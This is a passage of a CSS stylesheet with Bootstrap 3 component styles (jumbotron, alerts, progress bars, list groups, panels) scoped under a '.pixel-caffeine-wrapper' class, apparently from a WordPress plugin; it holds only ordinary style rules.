.jumbotron h1, .pixel-caffeine-wrapper .jumbotron .h1 { color: inherit; } .pixel-caffeine-wrapper .jumbotron p { margin-bottom: 15px; font-size: 21px; font-weight: 200; } .pixel-caffeine-wrapper .jumbotron > hr { border-top-color: #d5d5d5; } .container .pixel-caffeine-wrapper .jumbotron, .container-fluid .pixel-caffeine-wrapper .jumbotron { padding-right: 15px; padding-left: 15px; border-radius: 6px; } .pixel-caffeine-wrapper .jumbotron .container { max-width: 100%; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .jumbotron { padding-top: 48px; padding-bottom: 48px; } .container .pixel-caffeine-wrapper .jumbotron, .container-fluid .pixel-caffeine-wrapper .jumbotron { padding-right: 60px; padding-left: 60px; } .pixel-caffeine-wrapper .jumbotron h1, .pixel-caffeine-wrapper .jumbotron .h1 { font-size: 63px; } } .pixel-caffeine-wrapper .thumbnail { display: block; padding: 4px; margin-bottom: 20px; line-height: 1.428571429; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: border 0.2s ease-in-out; -o-transition: border 0.2s ease-in-out; transition: border 0.2s ease-in-out; } .pixel-caffeine-wrapper .thumbnail > img, .pixel-caffeine-wrapper .thumbnail a > img { display: block; max-width: 100%; height: auto; margin-right: auto; margin-left: auto; } .pixel-caffeine-wrapper .thumbnail .caption { padding: 9px; color: #333333; } .pixel-caffeine-wrapper a.thumbnail:hover, .pixel-caffeine-wrapper a.thumbnail:focus, .pixel-caffeine-wrapper a.thumbnail.active { border-color: #337ab7; } .pixel-caffeine-wrapper .alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; } .pixel-caffeine-wrapper .alert h4 { margin-top: 0; color: inherit; } .pixel-caffeine-wrapper .alert .alert-link { font-weight: bold; } .pixel-caffeine-wrapper .alert > p, .pixel-caffeine-wrapper .alert > ul { margin-bottom: 0; } .pixel-caffeine-wrapper .alert > p + p { margin-top: 5px; } .pixel-caffeine-wrapper .alert-dismissable, .pixel-caffeine-wrapper .alert-dismissible { padding-right: 35px; } .pixel-caffeine-wrapper .alert-dismissable .close, .pixel-caffeine-wrapper .alert-dismissible .close { position: relative; top: -2px; right: -21px; color: inherit; } .pixel-caffeine-wrapper .alert-success { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .pixel-caffeine-wrapper .alert-success hr { border-top-color: #c9e2b3; } .pixel-caffeine-wrapper .alert-success .alert-link { color: #2b542c; } .pixel-caffeine-wrapper .alert-info { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .pixel-caffeine-wrapper .alert-info hr { border-top-color: #a6e1ec; } .pixel-caffeine-wrapper .alert-info .alert-link { color: #245269; } .pixel-caffeine-wrapper .alert-warning { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .pixel-caffeine-wrapper .alert-warning hr { border-top-color: #f7e1b5; } .pixel-caffeine-wrapper .alert-warning .alert-link { color: #66512c; } .pixel-caffeine-wrapper .alert-danger { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .pixel-caffeine-wrapper .alert-danger hr { border-top-color: #e4b9c0; } .pixel-caffeine-wrapper .alert-danger .alert-link { color: #843534; } @-webkit-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @-o-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .pixel-caffeine-wrapper .progress { height: 20px; margin-bottom: 20px; overflow: hidden; background-color: #f5f5f5; border-radius: 4px; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); } .pixel-caffeine-wrapper .progress-bar { float: left; width: 0%; height: 100%; font-size: 12px; line-height: 20px; color: #fff; text-align: center; background-color: #337ab7; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); -webkit-transition: width 0.6s ease; -o-transition: width 0.6s ease; transition: width 0.6s ease; } .pixel-caffeine-wrapper .progress-striped .progress-bar, .pixel-caffeine-wrapper .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: 40px 40px; } .pixel-caffeine-wrapper .progress.active .progress-bar, .pixel-caffeine-wrapper .progress-bar.active { -webkit-animation: progress-bar-stripes 2s linear infinite; -o-animation: progress-bar-stripes 2s linear infinite; animation: progress-bar-stripes 2s linear infinite; } .pixel-caffeine-wrapper .progress-bar-success { background-color: #5cb85c; } .progress-striped .pixel-caffeine-wrapper .progress-bar-success { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); } .pixel-caffeine-wrapper .progress-bar-info { background-color: #5bc0de; } .progress-striped .pixel-caffeine-wrapper .progress-bar-info { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); } .pixel-caffeine-wrapper .progress-bar-warning { background-color: #f0ad4e; } .progress-striped .pixel-caffeine-wrapper .progress-bar-warning { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); } .pixel-caffeine-wrapper .progress-bar-danger { background-color: #d9534f; } .progress-striped .pixel-caffeine-wrapper .progress-bar-danger { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); } .pixel-caffeine-wrapper .media { margin-top: 15px; } .pixel-caffeine-wrapper .media:first-child { margin-top: 0; } .pixel-caffeine-wrapper .media, .pixel-caffeine-wrapper .media-body { overflow: hidden; zoom: 1; } .pixel-caffeine-wrapper .media-body { width: 10000px; } .pixel-caffeine-wrapper .media-object { display: block; } .pixel-caffeine-wrapper .media-object.img-thumbnail { max-width: none; } .pixel-caffeine-wrapper .media-right, .pixel-caffeine-wrapper .media > .pull-right { padding-left: 10px; } .pixel-caffeine-wrapper .media-left, .pixel-caffeine-wrapper .media > .pull-left { padding-right: 10px; } .pixel-caffeine-wrapper .media-left, .pixel-caffeine-wrapper .media-right, .pixel-caffeine-wrapper .media-body { display: table-cell; vertical-align: top; } .pixel-caffeine-wrapper .media-middle { vertical-align: middle; } .pixel-caffeine-wrapper .media-bottom { vertical-align: bottom; } .pixel-caffeine-wrapper .media-heading { margin-top: 0; margin-bottom: 5px; } .pixel-caffeine-wrapper .media-list { padding-left: 0; list-style: none; } .pixel-caffeine-wrapper .list-group { padding-left: 0; margin-bottom: 20px; } .pixel-caffeine-wrapper .list-group-item { position: relative; display: block; padding: 10px 15px; margin-bottom: -1px; background-color: #fff; border: 1px solid #ddd; } .pixel-caffeine-wrapper .list-group-item:first-child { border-top-left-radius: 4px; border-top-right-radius: 4px; } .pixel-caffeine-wrapper .list-group-item:last-child { margin-bottom: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } .pixel-caffeine-wrapper .list-group-item.disabled, .pixel-caffeine-wrapper .list-group-item.disabled:hover, .pixel-caffeine-wrapper .list-group-item.disabled:focus { color: #777777; cursor: not-allowed; background-color: #eeeeee; } .pixel-caffeine-wrapper .list-group-item.disabled .list-group-item-heading, .pixel-caffeine-wrapper .list-group-item.disabled:hover .list-group-item-heading, .pixel-caffeine-wrapper .list-group-item.disabled:focus .list-group-item-heading { color: inherit; } .pixel-caffeine-wrapper .list-group-item.disabled .list-group-item-text, .pixel-caffeine-wrapper .list-group-item.disabled:hover .list-group-item-text, .pixel-caffeine-wrapper .list-group-item.disabled:focus .list-group-item-text { color: #777777; } .pixel-caffeine-wrapper .list-group-item.active, .pixel-caffeine-wrapper .list-group-item.active:hover, .pixel-caffeine-wrapper .list-group-item.active:focus { z-index: 2; color: #fff; background-color: #337ab7; border-color: #337ab7; } .pixel-caffeine-wrapper .list-group-item.active .list-group-item-heading, .pixel-caffeine-wrapper .list-group-item.active .list-group-item-heading > small, .pixel-caffeine-wrapper .list-group-item.active .list-group-item-heading > .small, .pixel-caffeine-wrapper .list-group-item.active:hover .list-group-item-heading, .pixel-caffeine-wrapper .list-group-item.active:hover .list-group-item-heading > small, .pixel-caffeine-wrapper .list-group-item.active:hover .list-group-item-heading > .small, .pixel-caffeine-wrapper .list-group-item.active:focus .list-group-item-heading, .pixel-caffeine-wrapper .list-group-item.active:focus .list-group-item-heading > small, .pixel-caffeine-wrapper .list-group-item.active:focus .list-group-item-heading > .small { color: inherit; } .pixel-caffeine-wrapper .list-group-item.active .list-group-item-text, .pixel-caffeine-wrapper .list-group-item.active:hover .list-group-item-text, .pixel-caffeine-wrapper .list-group-item.active:focus .list-group-item-text { color: #c7ddef; } .pixel-caffeine-wrapper a.list-group-item, .pixel-caffeine-wrapper button.list-group-item { color: #555; } .pixel-caffeine-wrapper a.list-group-item .list-group-item-heading, .pixel-caffeine-wrapper button.list-group-item .list-group-item-heading { color: #333; } .pixel-caffeine-wrapper a.list-group-item:hover, .pixel-caffeine-wrapper a.list-group-item:focus, .pixel-caffeine-wrapper button.list-group-item:hover, .pixel-caffeine-wrapper button.list-group-item:focus { color: #555; text-decoration: none; background-color: #f5f5f5; } .pixel-caffeine-wrapper button.list-group-item { width: 100%; text-align: left; } .pixel-caffeine-wrapper .list-group-item-success { color: #3c763d; background-color: #dff0d8; } .pixel-caffeine-wrapper a.list-group-item-success, .pixel-caffeine-wrapper button.list-group-item-success { color: #3c763d; } .pixel-caffeine-wrapper a.list-group-item-success .list-group-item-heading, .pixel-caffeine-wrapper button.list-group-item-success .list-group-item-heading { color: inherit; } .pixel-caffeine-wrapper a.list-group-item-success:hover, .pixel-caffeine-wrapper a.list-group-item-success:focus, .pixel-caffeine-wrapper button.list-group-item-success:hover, .pixel-caffeine-wrapper button.list-group-item-success:focus { color: #3c763d; background-color: #d0e9c6; } .pixel-caffeine-wrapper a.list-group-item-success.active, .pixel-caffeine-wrapper a.list-group-item-success.active:hover, .pixel-caffeine-wrapper a.list-group-item-success.active:focus, .pixel-caffeine-wrapper button.list-group-item-success.active, .pixel-caffeine-wrapper button.list-group-item-success.active:hover, .pixel-caffeine-wrapper button.list-group-item-success.active:focus { color: #fff; background-color: #3c763d; border-color: #3c763d; } .pixel-caffeine-wrapper .list-group-item-info { color: #31708f; background-color: #d9edf7; } .pixel-caffeine-wrapper a.list-group-item-info, .pixel-caffeine-wrapper button.list-group-item-info { color: #31708f; } .pixel-caffeine-wrapper a.list-group-item-info .list-group-item-heading, .pixel-caffeine-wrapper button.list-group-item-info .list-group-item-heading { color: inherit; } .pixel-caffeine-wrapper a.list-group-item-info:hover, .pixel-caffeine-wrapper a.list-group-item-info:focus, .pixel-caffeine-wrapper button.list-group-item-info:hover, .pixel-caffeine-wrapper button.list-group-item-info:focus { color: #31708f; background-color: #c4e3f3; } .pixel-caffeine-wrapper a.list-group-item-info.active, .pixel-caffeine-wrapper a.list-group-item-info.active:hover, .pixel-caffeine-wrapper a.list-group-item-info.active:focus, .pixel-caffeine-wrapper button.list-group-item-info.active, .pixel-caffeine-wrapper button.list-group-item-info.active:hover, .pixel-caffeine-wrapper button.list-group-item-info.active:focus { color: #fff; background-color: #31708f; border-color: #31708f; } .pixel-caffeine-wrapper .list-group-item-warning { color: #8a6d3b; background-color: #fcf8e3; } .pixel-caffeine-wrapper a.list-group-item-warning, .pixel-caffeine-wrapper button.list-group-item-warning { color: #8a6d3b; } .pixel-caffeine-wrapper a.list-group-item-warning .list-group-item-heading, .pixel-caffeine-wrapper button.list-group-item-warning .list-group-item-heading { color: inherit; } .pixel-caffeine-wrapper a.list-group-item-warning:hover, .pixel-caffeine-wrapper a.list-group-item-warning:focus, .pixel-caffeine-wrapper button.list-group-item-warning:hover, .pixel-caffeine-wrapper button.list-group-item-warning:focus { color: #8a6d3b; background-color: #faf2cc; } .pixel-caffeine-wrapper a.list-group-item-warning.active, .pixel-caffeine-wrapper a.list-group-item-warning.active:hover, .pixel-caffeine-wrapper a.list-group-item-warning.active:focus, .pixel-caffeine-wrapper button.list-group-item-warning.active, .pixel-caffeine-wrapper button.list-group-item-warning.active:hover, .pixel-caffeine-wrapper button.list-group-item-warning.active:focus { color: #fff; background-color: #8a6d3b; border-color: #8a6d3b; } .pixel-caffeine-wrapper .list-group-item-danger { color: #a94442; background-color: #f2dede; } .pixel-caffeine-wrapper a.list-group-item-danger, .pixel-caffeine-wrapper button.list-group-item-danger { color: #a94442; } .pixel-caffeine-wrapper a.list-group-item-danger .list-group-item-heading, .pixel-caffeine-wrapper button.list-group-item-danger .list-group-item-heading { color: inherit; } .pixel-caffeine-wrapper a.list-group-item-danger:hover, .pixel-caffeine-wrapper a.list-group-item-danger:focus, .pixel-caffeine-wrapper button.list-group-item-danger:hover, .pixel-caffeine-wrapper button.list-group-item-danger:focus { color: #a94442; background-color: #ebcccc; } .pixel-caffeine-wrapper a.list-group-item-danger.active, .pixel-caffeine-wrapper a.list-group-item-danger.active:hover, .pixel-caffeine-wrapper a.list-group-item-danger.active:focus, .pixel-caffeine-wrapper button.list-group-item-danger.active, .pixel-caffeine-wrapper button.list-group-item-danger.active:hover, .pixel-caffeine-wrapper button.list-group-item-danger.active:focus { color: #fff; background-color: #a94442; border-color: #a94442; } .pixel-caffeine-wrapper .list-group-item-heading { margin-top: 0; margin-bottom: 5px; } .pixel-caffeine-wrapper .list-group-item-text { margin-bottom: 0; line-height: 1.3; } .pixel-caffeine-wrapper .panel { margin-bottom: 20px; background-color: #fff; border: 1px solid transparent; border-radius: 4px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05); box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05); } .pixel-caffeine-wrapper .panel-body { padding: 15px; } .pixel-caffeine-wrapper .panel-body:before, .pixel-caffeine-wrapper .panel-body:after { display: table; content: " "; } .pixel-caffeine-wrapper .panel-body:after { clear: both; } .pixel-caffeine-wrapper .panel-heading { padding: 10px 15px; border-bottom: 1px solid transparent; border-top-left-radius: 3px; border-top-right-radius: 3px; } .pixel-caffeine-wrapper .panel-heading > .dropdown .dropdown-toggle { color: inherit; } .pixel-caffeine-wrapper .panel-title { margin-top: 0; margin-bottom: 0; font-size: 16px; color: inherit; } .pixel-caffeine-wrapper .panel-title > a, .pixel-caffeine-wrapper .panel-title > small, .pixel-caffeine-wrapper .panel-title > .small, .pixel-caffeine-wrapper .panel-title > small > a, .pixel-caffeine-wrapper .panel-title > .small > a { color: inherit; } .pixel-caffeine-wrapper .panel-footer { padding: 10px 15px; background-color: #f5f5f5; border-top: 1px solid #ddd; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .list-group, .pixel-caffeine-wrapper .panel > .panel-collapse > .list-group { margin-bottom: 0; } .pixel-caffeine-wrapper .panel > .list-group .list-group-item, .pixel-caffeine-wrapper .panel > .panel-collapse > .list-group .list-group-item { border-width: 1px 0; border-radius: 0; } .pixel-caffeine-wrapper .panel > .list-group:first-child .list-group-item:first-child, .pixel-caffeine-wrapper .panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { border-top: 0; border-top-left-radius: 3px; border-top-right-radius: 3px; } .pixel-caffeine-wrapper .panel > .list-group:last-child .list-group-item:last-child, .pixel-caffeine-wrapper .panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { border-bottom: 0; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .pixel-caffeine-wrapper .panel-heading + .list-group .list-group-item:first-child { border-top-width: 0; } .pixel-caffeine-wrapper .list-group + .panel-footer { border-top-width: 0; } .pixel-caffeine-wrapper .panel > .table, .pixel-caffeine-wrapper .panel > .table-responsive > .table, .pixel-caffeine-wrapper .panel > .panel-collapse > .table { margin-bottom: 0; } .pixel-caffeine-wrapper .panel > .table caption, .pixel-caffeine-wrapper .panel > .table-responsive > .table caption, .pixel-caffeine-wrapper .panel > .panel-collapse > .table caption { padding-right: 15px; padding-left: 15px; } .pixel-caffeine-wrapper .panel > .table:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:first-child > thead:first-child > tr:first-child, .pixel-caffeine-wrapper .panel > .table:first-child > tbody:first-child > tr:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:first-child > thead:first-child > tr:first-child td:first-child, .pixel-caffeine-wrapper .panel > .table:first-child > thead:first-child > tr:first-child th:first-child, .pixel-caffeine-wrapper .panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, .pixel-caffeine-wrapper .panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { border-top-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:first-child > thead:first-child > tr:first-child td:last-child, .pixel-caffeine-wrapper .panel > .table:first-child > thead:first-child > tr:first-child th:last-child, .pixel-caffeine-wrapper .panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, .pixel-caffeine-wrapper .panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { border-top-right-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:last-child > tbody:last-child > tr:last-child, .pixel-caffeine-wrapper .panel > .table:last-child > tfoot:last-child > tr:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, .pixel-caffeine-wrapper .panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, .pixel-caffeine-wrapper .panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .pixel-caffeine-wrapper .panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, .pixel-caffeine-wrapper .panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, .pixel-caffeine-wrapper .panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .pixel-caffeine-wrapper .panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { border-bottom-right-radius: 3px; } .pixel-caffeine-wrapper .panel > .panel-body + .table, .pixel-caffeine-wrapper .panel > .panel-body + .table-responsive, .pixel-caffeine-wrapper .panel > .table + .panel-body, .pixel-caffeine-wrapper .panel > .table-responsive + .panel-body { border-top: 1px solid #ddd; } .pixel-caffeine-wrapper .panel > .table > tbody:first-child > tr:first-child th, .pixel-caffeine-wrapper .panel > .table > tbody:first-child > tr:first-child td { border-top: 0; } .pixel-caffeine-wrapper .panel > .table-bordered, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered { border: 0; } .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr > td:first-child, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr > td:first-child, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr > td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr > td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr > td:last-child, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr > td:last-child, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr > td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr > td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr:first-child > td, .pixel-caffeine-wrapper .panel > .table-bordered > thead > tr:first-child > th, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr:first-child > td, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr:first-child > th, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr:first-child > td, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > thead > tr:first-child > th, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { border-bottom: 0; } .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr:last-child > td, .pixel-caffeine-wrapper .panel > .table-bordered > tbody > tr:last-child > th, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr:last-child > td, .pixel-caffeine-wrapper .panel > .table-bordered > tfoot > tr:last-child > th, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, .pixel-caffeine-wrapper .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { border-bottom: 0; } .pixel-caffeine-wrapper .panel > .table-responsive { margin-bottom: 0; border: 0; } .pixel-caffeine-wrapper .panel-group { margin-bottom: 20px; } .pixel-caffeine-wrapper .panel-group .panel { margin-bottom: 0; border-radius: 4px; } .pixel-caffeine-wrapper .panel-group .panel + .panel { margin-top: 5px; } .pixel-caffeine-wrapper .panel-group .panel-heading { border-bottom: 0; } .pixel-caffeine-wrapper .panel-group .panel-heading + .panel-collapse > .panel-body, .pixel-caffeine-wrapper .panel-group .panel-heading + .panel-collapse > .list-group { border-top: 1px solid #ddd; } .pixel-caffeine-wrapper .panel-group .panel-footer { border-top: 0; } .pixel-caffeine-wrapper .panel-group .panel-footer + .panel-collapse .panel-body { border-bottom: 1px solid #ddd; } .pixel-caffeine-wrapper .panel-default { border-color: #ddd; } .pixel-caffeine-wrapper .panel-default > .panel-heading { color: #333333; background-color: #f5f5f5; border-color: #ddd; } .pixel-caffeine-wrapper .panel-default > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ddd; } .pixel-caffeine-wrapper .panel-default > .panel-heading .badge { color: #f5f5f5; background-color: #333333; } .pixel-caffeine-wrapper .panel-default > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ddd; } .pixel-caffeine-wrapper .panel-primary { border-color: #337ab7; } .pixel-caffeine-wrapper .panel-primary > .panel-heading { color: #fff; background-color: #337ab7; border-color: #337ab7; } .pixel-caffeine-wrapper .panel-primary > .panel-heading + .panel-collapse > .panel-body { border-top-color: #337ab7; } .pixel-caffeine-wrapper .panel-primary > .panel-heading .badge { color: #337ab7; background-color: #fff; } .pixel-caffeine-wrapper .panel-primary > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #337ab7; } .pixel-caffeine-wrapper .panel-success { border-color: #d6e9c6; } .pixel-caffeine-wrapper .panel-success > .panel-heading { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .pixel-caffeine-wrapper .panel-success > .panel-heading + .panel-collapse > .panel-body { border-top-color: #d6e9c6; } .pixel-caffeine-wrapper .panel-success > .panel-heading .badge { color: #dff0d8; background-color: #3c763d; } .pixel-caffeine-wrapper .panel-success > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #d6e9c6; } .pixel-caffeine-wrapper .panel-info { border-color: #bce8f1; } .pixel-caffeine-wrapper .panel-info > .panel-heading { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .pixel-caffeine-wrapper .panel-info > .panel-heading + .panel-collapse > .panel-body { border-top-color: #bce8f1; } .pixel-caffeine-wrapper .panel-info > .panel-heading .badge { color: #d9edf7; background-color: #31708f; 